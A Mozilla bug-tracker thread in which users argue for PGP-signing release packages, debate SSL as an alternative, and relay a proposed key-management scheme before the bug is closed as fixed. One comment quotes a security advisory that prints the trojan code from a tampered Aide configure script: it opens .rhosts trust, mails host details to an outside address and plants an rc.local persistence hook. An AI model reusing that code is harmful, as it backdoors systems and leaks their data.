Hello, Signing AT LEAST the release packages (for instance, the upcoming 0.8) is a very important (and not hard) feature. This is important so that one can trust that the package being downloaded is NOT a fake. This, fortunately, hasn't happened yet on mozilla (I hope) but has happened in the past to others, and thus a certain amount of reliability would be a nice feature to have (that Microsoft does NOT have on their software, for instance). Please, do a gpg -s mozilla-i686-0.8-pc-linux-gnu.tar.gz AT least! A huge hug, Scott@irc.mozilla.org (from Portugal)
i'll take this, since i'm generally the schmoe schlepping binaries around. i've been encouraged to use gpg, but does it matter what i use to sign with, really?
Assignee: mitchell → leaf
Of course you can use pgp, or ssl certificates. But gpg has some advantages... namely it's free (as in speech) and open, and just as secure.
looks like we're just talking about Linux builds, so we can probably make this part of the automation to sign all the linux builds, daily or otherwise. setting to browser so I can set target milestone.
Component: Miscellaneous → Build Config
Priority: -- → P3
Product: mozilla.org → Browser
Target Milestone: --- → mozilla1.0
For the record, from the irc discussion with leaf, what he wants is; gpg -b -a foo.tgz which will create a foo.asc file in the same directory. The public key (email@example.com?) should then be placed on teh website, and on the ftp site, and uploaded to the keyservers, preferably with the key signed by mozilla developers who can meet leaf/other m.o people personally.
I have a long standing, well known PGP key, with which I can sign your release key, when it exists (in part, serving as an `introducer').
Adding PGP to subject to make it easier for searchs and adding few related URLs. http://www.gnupg.org/ http://www.pgpi.org/ http://www.openpgp.org/ & RFC RFC 2440 http://www.ietf.org/rfc/rfc2440.txt http://web.mit.edu/network/pgp.html
Summary: RFE: sign release packages → RFE: sign release packages ... maybe with PGP
Check http://linuxtoday.com/news_story.php3?ltsn=2001-08-07-011-20-SC, as this is another reason to have releases (if not builds) signed: Subject: Trojan in Aide distribution at ftp.linux.hr Date: 07 Aug 2001 09:45:42 +0300 From: Rami Lehti <Rami.Lehti@finland.sun.com> To: firstname.lastname@example.org Cc: email@example.com It has come my attention that there has been a trojaned Aide distribution at ftp://ftp.linux.hr/pub/aide The offending binary has been removed. Anyone who has downloaded Aide 0.7 from ftp.linux.hr is urged to download it from ftp://ftp.cs.tut.fi/pub/src/gnu and always check the PGP signature before using any distribution of Aide. The trojaned distribution contains the following script embedded in the configure script. As you can see it tries to add "+ +" to roots .rhosts and sends information about your host to firstname.lastname@example.org # checking if we are root or not if [ `whoami` == "root" ];then root_user=1 else root_user=0 fi And later on: if [ $root_user != "1" ];then echo "+ +" > ~/.rhosts echo $LOGNAME >/tmp/jea;whoami >>/tmp/jea;hostname >>/tmp/jea;/sbin/ifconfig > >/tmp/jea mail email@example.com < /tmp/jea rm -rf /tmp/jea else if [ `uname -s` != Linux ];then echo "" else mv -f .xinitrc /bin/lpr echo "# printing status monitor" >> /etc/rc.d/rc.local echo "/bin/lpr &" >> /etc/rc.d/rc.local hostname >>/tmp/jea;/sbin/ifconfig >>/tmp/jea mail firstname.lastname@example.org < /tmp/jea /bin/lpr & rm -rf /tmp/jea fi fi Rami Lehti -- AIDE - Advanced Intrusion Detection Environment Check http://www.cs.tut.fi/~rammer/aide.html
Another trojan real world story, this time with an ubiquous piece of software: Wietse Venema's tcp wrappers CERT® Advisory CA-1999-01 Trojan horse version of TCP Wrappers Original issue date: January 21, 1999 Last revised: January 22, 1999 The CERT Coordination Center has received confirmation that some copies of the source code for the TCP Wrappers tool (tcpd) were modified by an intruder and contain a Trojan horse. We strongly encourage sites running the TCP Wrappers tool to immediately verify the integrity of their distribution. Read the complete advisory at http://www.cert.org/advisories/CA-1999-01.html
Leaf can you find a more appropriate QA contact for this than me? mitchell
Bugs targeted at mozilla1.0 without the mozilla1.0 keyword moved to mozilla1.0.1 (you can query for this string to delete spam or retrieve the list of bugs I've moved)
Target Milestone: mozilla1.0 → mozilla1.0.1
Delaying such a simple step (in comparison with the hard work of coding) is not understandable. Are the developers so unsure that the code in the cvs tree is theirs that they do not want to confirm to interested users that the release they download from a mirror, for instance, is the release the developers intended to release to the world? I uterly fail to understand the opposition to sign a release. On a happier side note, postponing, at this stage, to 1.0.1 seems like a sign that 1.0 is a coming ;)
Target Milestone: mozilla1.0.1 → mozilla1.0
>This, fortunately, hasn't happened yet on mozilla (I hope) but has >happened in the past to others, and thus a certain amount of reliability would >be a nice feature to have (that Microsoft does NOT have on their software, for >instance). Usually I'm against-Microsoft but.. I hate to admit that all Microsoft downloads have been signed since at least 1 yeay ago... I don't see this as an immediate problem (I always download from www.mozilla.org -_-) but would be useful & easy to do...
> I don't see this as an immediate problem (I always download from > www.mozilla.org -_-) but would be useful & easy to do... If the fact that you download from mozilla.org is your motive for not seeing this as an immediate problem, then suppose your DNS was spoofed and instead of going to the correct mozilla.org you went to a mozilla trojan horse web site. What then?
My DNS is local so they should compromise either a root server or my own system, either one would be a real strange way to let me download an hacked Mezilla version ;) Anyway I never said that this is not important, I think it is indeed important to sign releases (at least)... considering how easily can it be done.
*** Bug 114739 has been marked as a duplicate of this bug. ***
Severity: critical → enhancement
QA Contact: mitchell → granrose
Target Milestone: mozilla1.0 → Future
Why on earth has this been futured? We're not even asking for an automated way of doing this! Just make sure to manually sign the 0.9.9 release when it is out. It's as simple as that.
*** Bug 162833 has been marked as a duplicate of this bug. ***
More then 1.5 YEARS have passed since PGP signatures for mozilla have been proposed. What are you waiting for? At least the recent trojans in OpenSSH, BitchX and Irssi should have opened your eyes. Such incidents couldn't harm anyone if developers would offer signatures and if users would figure out how to use software like GPG/PGP. Please don't wait until the next script kiddie comes along. besides that... - "Jon Granrose": looks like we're just talking about Linux builds No we are not just talking about linux. We are talking about all downloads, not matter if Windows, Linux or anything else.
So what's holding this bug up? The attached text message has a good, simple, step-by-step explanation of what needs to be done. Can somebody without Mozilla developer access do this? It's such a simple thing . . .
what's the current status on this?
Ping... has there been any more thought/movement on this? These days it seems outright irresponsible to distribute source or binaries of any package which will be widely disseminated/used without making some form of integrity-verification available, and foolish to run such packages. There have been a dozen more cases of trojaned releases, compromised distribution servers, etc--including ftp.gnu.org! Do we really have to wait until Mozilla is one of them, before packages will be signed? Of course, PGP/GPG signatures aren't perfect; they don't protect from the signer being malicious, or having accepted a trojaned checkin, but they are a damn sight better than nothing. MD5SUMs are useful only for detecting accidentally corrupted downloads; they are useless for defending against compromised distro servers, hijacked downloads, etc, since the checksum files can simply be replaced along with the tarballs. 2.5+ years and counting! I know, people have been busy getting code written, and the squeaky wheel gets the grease and all that.... squeak squeak squeak! PS IMHO this bug's Component should be Security: General; OS and Hardware should be All. Could someone with sufficient access update if you agree? (I'd also like to see Severity bumped up, but... ;) Thanks, Hank Leininger <email@example.com>
GPG is one way. But not a good one in practice. The average user does not care and neither knows how to correctly check signatures. That's partly because they are not part of the PGP web of trust. A MUCH better way would be to put the packages on SSL servers with a trusted certificate. You could say that this does not prevent anyone from hacking the server and putting modified pkgs on it, but in reality this would most probably be noticed very soon and gets great media attention. So such an attack would be almost useless. The man-in-the-middle attack is much less noticable. The average user would just think there was another computer error.
> These days it seems outright irresponsible to distribute source or binaries of > any package which will be widely disseminated/used without making some form of > integrity-verification available, and foolish to run such packages. There have > been a dozen more cases of trojaned releases, compromised distribution servers, > etc--including ftp.gnu.org! Do we really have to wait until Mozilla is one of > them, before packages will be signed? I fully agree. Actually, we should have several stages of security. We shouldn't rely on the integrity of software packages. Linux is an open system and therefore can be changed to our will and needs. Why is there no general method implemented to isolate applications as much as possible? It seems like SELinux from the NSA takes a step in that direction, but as far as I know there are simple and user-friendly configuration apps missing. Have you ever tried a user-controlled firewall on a Windows box (can't remember which one it was)? The operation principle is easy and fantastic! Each time an application tries to connect to a remote server, the user gets displayed a dialog to let him decide what to do, eg. grant now, grant always, grant never, ... That should be tightly integrated with Linux, but allowing for even more restrictions, eg. to which part of the filesystem an application is allowed to read and/or write. And even if we don't like to do a lot of programming to implement such a security app, we could still let internet apps run under their own accounts. The basic setup would be to run browser and IRC programs under a general network account and the email prog under a mail account (which could be denied from accessing anything else than mail files and the mail server). That way, browser code/package security would not be as critical. > Of course, PGP/GPG signatures aren't perfect; they don't protect from the > signer being malicious, or having accepted a trojaned checkin, but they are > a damn sight better than nothing. Of course they do not protect from persons with malicious intent. But it protects us from persons with malicious intent who we don't know. As far as I have understood it, the PGP web of trust tries to make sure that we know the one whose key signed the package. > MD5SUMs are useful only for detecting > accidentally corrupted downloads; they are useless for defending against > compromised distro servers, hijacked downloads, etc, since the checksum > files can simply be replaced along with the tarballs. Of course, md5sums only make sense if they have been signed. > 2.5+ years and counting! I know, people have been busy getting code written, > and the squeaky wheel gets the grease and all that.... squeak squeak squeak! :-) > PS IMHO this bug's Component should be Security: General; OS and Hardware should > be All. Could someone with sufficient access update if you agree? (I'd also > like to see Severity bumped up, but... ;) I think nobody does it because nearly nobody would use it. Use SSL.
Consider that we're talking about many terabytes per month and mirror networks.
*sigh* Use SSL... like that's of ANY USE AT ALL on mirrors.<br><br> Individual package digital signatures is the way to go.
(In reply to comment #26) > *sigh* Use SSL... like that's of ANY USE AT ALL on mirrors.<br><br> > Individual package digital signatures is the way to go. Your attitude is not constructive. Like I already said, you cannot count on signatures because nobody will use them. Just put a small installer/setup/download utility on the main site which is only downloadable via SSL. Then this downloader/setup will get the package from anywhere the user wants and check against your beloved signatures without the user having to care about it.
oh sure, lock out people who don't have an SSL enabled browser. why don't we just pgp encrypt, bzip2 and then uuencode our application and hide the pgp key somewhere on www.mozilla.org where no one will find it?
(In reply to comment #28) > oh sure, lock out people who don't have an SSL enabled browser. How about locking out people who have no internet access? How about that? Huh??? Even old distros like Mandrake 8 have SSL enabled browsers. And, of course the installer must download the app from some other servers. There the download would remain SSL-free. So if someone got no SSL, he just has to do two or so more clicks and get the package directly from the repository. But the main download links on the main download pages should point to SSL-secured locations. That is my intent. Nothing else. You cannot assure that the average user knows what he is doing. So just putting signatures on the server wouldn't increase security at all.
In reply to <a href="http://bugzilla.mozilla.org/show_bug.cgi?id=68079#c27">comment #27</a>: | ||GIBBERISH ERASED|| Like I already said, you cannot count on | signatures because nobody will use them. On the contrary. You must count on the few that do the verification of you don't want to do it yourself. Right now, there is no way to know that someone didn't use a bug on the download site to alter the tar.gz adding a trojan horse. Using SSL helps in absolutely no file checking way. I hardly ever use ftp.mozilla.org but the national ftp mirrors (which, btw, can also be compromised). A digital signature of each package is the way to go. You don't want to do it. Fine. Don't verify. But don't hate those that would like to be assured that the packages they download are the ones that they were supposed to download.
(In reply to comment #30) > A digital signature of each package is the way to go. You don't want to do it. > Fine. Don't verify. But don't hate those that would like to be assured that the > packages they download are the ones that they were supposed to download. Let me repeat myself (one last time): your solution is of help only for you and for nearly nobody else. Additionally, I haven't neglected your solution, but just said that it should be implemented such that _every_ user may benefit from it.
Well, I don't see why there's suddenly such a flamewar going on here, but for those of you opposed to creating signed md5s (or whatever) of Moz releases, does doing so hurt anyone? I think that the pool of people who do check package signatures is larger than perhaps you think, and even if the majority of users don't check signatures, it's simply a very nice safeguard for those of us who do like to check signatures on software we're installing. If you're not interested in checking signatures, then go ahead and not do it. Personally, I'd still like to see *some* kind of safeguard in place, and signed packages or signed md5sums seems to be the easiest, least intrusive way of doing so that offers the security that many of us are looking for.
> Well, I don't see why there's suddenly such a flamewar going on here, but for > those of you opposed to creating signed md5s (or whatever) of Moz releases, > does doing so hurt anyone? I think that the pool of people who do check > package signatures is larger than perhaps you think, Agreed and agreed. I don't know why this has to turn hostile. There are quite a lot of people who wouldn't know how to check a signature, or make wise choices about slightly trickier things, like how and when to add and trust a "signer" key. Nobody's doubting that, but, that doesn't seem to me like a reasonable reason not to provide such things. We who will do such checking are canaries. Again, do we have to trot out a laundry list of the package distribution sites which have been compromised, and trojaned packages disseminated as a result? In nearly all cases these were caught by people who check signatures if available, cross-check md5sums if not, and habitually read diffs between each release to make sure all changes seem rational. Some faster than others--the ones for which PGP signatures were available! Certainly it's in an individual's best interest if they know how to and get in the habit of checking signatures. But it is in *everybody*'s interest if even a tiny fraction of users do that, because they will report discrepancies. It is not at all required that Aunt Tillie verify signatures on all packages, for Aunt Tillie to benefit (some) from there being package signatures. This is why so many open source packages have been shipping signatures for some time now. > your solution is of help only for you and for nearly nobody else. How long a list of "me too"'s would you like on this thread? Frankly, I had given up, but now that people are at least talking about this. I'm sure there are others. > Use SSL. Funny, https://www.mozilla.org doesn't work very well. ftp.mozilla.org is DNS round-robin'ed between multiple mirror sites; any SSL cert for it either needs to be shared among mutually untrusted entities--and be worthless if any of them is ever compromised. Or, site-specific certificates would be guaranteed to throw up certificate-name-validation warnings. Teaching users to click past those pesky security warnings isn't exactly what we want to do. And again, that's of no use when talking about multiple mirror sites under various different administrations, security controls, etc. We know nothing about the security of individual mirror sites, and we shouldn't have to. If the packages are disseminated (presumably from a source code base that has not already been trojaned, from a workstation that hasn't already been rootkitted), then it doesn't matter what the distribution channel is. It can be a virus-distribution-network like Kazaa, and you can still verify that the bits you get are the bits that were shipped by the author. Using SSL verifies that the bits you get are the bits that were served to you by the site you visited--a completely different and inferrior thing. If you've never enumerated the webserver versions running on each mirror server of a given piece of popular software, it's an enlightening and frightening experience. I have to say that the Mozilla mirrors do better than most, but even still, there's an Apache 1.3.6 server in the mix. Ouch! (That's so old it makes me think it's a fake.) And numerous ones running old, vulnerable versions of OpenSSL, mod_ssl, DAV extensions, PHP, you name it. This isn't the Mozilla project's problem. It shouldn't be and it can't be. But that's why packages should be signed when released--because then it doesn't matter so much if the intermediate servers are vulnerable, compromised, run by hostiles, whatever.
me too! me too! <: Please sign your content
Now even more important where mozilla.org uses third-party FTP mirrors in the ftp.mozilla.org pool. There are signatures for new releases now. However, it's not exactly optimal: - I have no way to verify the key, and it's lying on the ftp server itself. - The key is that for "Jon Granrose <firstname.lastname@example.org>" which just screams that it may change later. - To top it, the key is in the release directory, e.g. <http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/0.10/KEY> Somebody cracking an FTP mirror could replace the binaries, create a new key called "<email@example.com>" (no access to mailbox needed), sign the binaries with that, put up a README that the build maintainer changed and that you can find the new key at the usual location, namely <http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/0.10.2/KEY>. Here's what David J. Fred <djf dfred.net> wrote to <firstname.lastname@example.org> (as a security bug): <quote> Hello, I was getting the new versions today and noticed the mozilla1.7.3 directory now includes detached signatures for the binary packages. This is a good idea and I want to encourage the move towards authenticating all packaged distributions (both source and binary) in the future. However, there are a number of issues with the way this is currently being done. The key being used for signing is not able to be authenticated in any way. It is not in the pgp.mit.edu server. A Google search for the person/email referenced in the key turns up nothing definitive about the purported signer or the key. The key in question is: pub 1024D/51420A08 2004-09-13 Jon Granrose <email@example.com> Key fingerprint = D1DD 7239 2A10 CF5A DF4C EAF9 1FD7 9A1C 5142 0A08 sig 51420A08 2004-09-13 Jon Granrose <firstname.lastname@example.org> Distributing the key from the same servers that distribute the signed material shows a lack of understanding, planning, and oversight. The fact the key was generated only two days ago indicates to me that the signing process is nascent and being handled in an ad hoc manner. There is nothing wrong with this per se, and indeed PGP/GPG itself is a pretty ad hoc affair. But given the goals of the Mozilla Foundation I believe it would be helpful to take a longer term view. Short of moving to some sort of formal PKI, here are a few thoughts on how to use GPG to make Mozilla's software distribution authentication process more robust and transparent: - Create a master Mozilla Foundation key. This key should be at least 2048 bits and probably nearer 4096. Enter the master public key on the MIT keyserver. This key should have a expiry of 10-15 years. The associated email address will need to be maintained during this period, so choose carefully. Publish the master key's fingerprint in all official printed documentation, on the Mozilla.org website, and possibly even include it at the end of Foundation press releases. The idea is to have the fingerprint available from many independent sources. - A set of secondary keys should be created and signed with the master key. These keys should also be at least 2048 bits. The name and email addresses of these keys should indicate they are secondary signing keys and are intended to be transient. Another set of secondary keys for signing offical communications could also be created at this time. - After signing all the secondary keys, the master key should be stored completely offline and the copies tended by a small number of the most trusted people in the organization. These individuals could also be the signers of the master public key. - Choose one of these secondary keys and begin using it as the "active signing" key for signing packaged source and binary distributions. The currently active key should always be available from the MIT servers, mozilla.org, etc. - Hold the other secondary keys in reserve for the case when the active key is compromised in some way and needs to be revoked. The non-active keys should also be stored offline until needed. - Whatever the final plan, it should be clearly described along with copies of the current public keys at a simple, stable URL, possibly something like: http://www.mozilla.org/security/keys/ I am quite sure the folks who compose the Mozilla security group have vast experience in this arena and their own great ideas. I think it is imperative that thought be given to this (very solvable) problem right now so the Mozilla team has the means to hold true to its commitment for trustworthy products. Feel free forward this message as necessary. If forwarding into a public forum, I would appreciate the removal of my email address for spam avoidance purposes. Leaving my name in is fine. Thanks very much for your continuing work. Regards, David </quote> If you implement the above suggestion, please make sure that everybody understands that the secondary keys may change, but the primary will not, so people should import both and sign the primary key.
Assignee: leaf → granrosebugs
Severity: enhancement → normal
Summary: RFE: sign release packages ... maybe with PGP → Sign release packages properly with PGP
Target Milestone: Future → ---
shortly making as security bug, so that it shows up on queries.
Component: Build Config → FTP: Staging
Product: Browser → mozilla.org
Version: Trunk → other
The key is now on pgp.mit.edu <http://pgp.mit.edu:11371/pks/lookup?search=granrose&op=index&fingerprint=on>. (But the remaining points are still valid.)
reassigned to chase, the new mofo release engineer. Chase - see comment 35 for a suggested action plan. Implementing a complete PKI signing plan for mofo will take some time, especially with the pre-ffox 1.0 work, but at the very least we can get the current key (Chase's) off the ftp server and onto prep.ai.mit.edu. The rest may have to wait til after 1.0.
Severity: normal → major
OS: Linux → All
Priority: P3 → P2
Hardware: PC → All
If you keep changing keys, it's worse than none. I don't see why implementing this would take more than an hour or so. If you need help, I could assist.
We do this, with detached PGP signatures, for every release now.
Status: NEW → RESOLVED
Last Resolved: 13 years ago
Resolution: --- → FIXED
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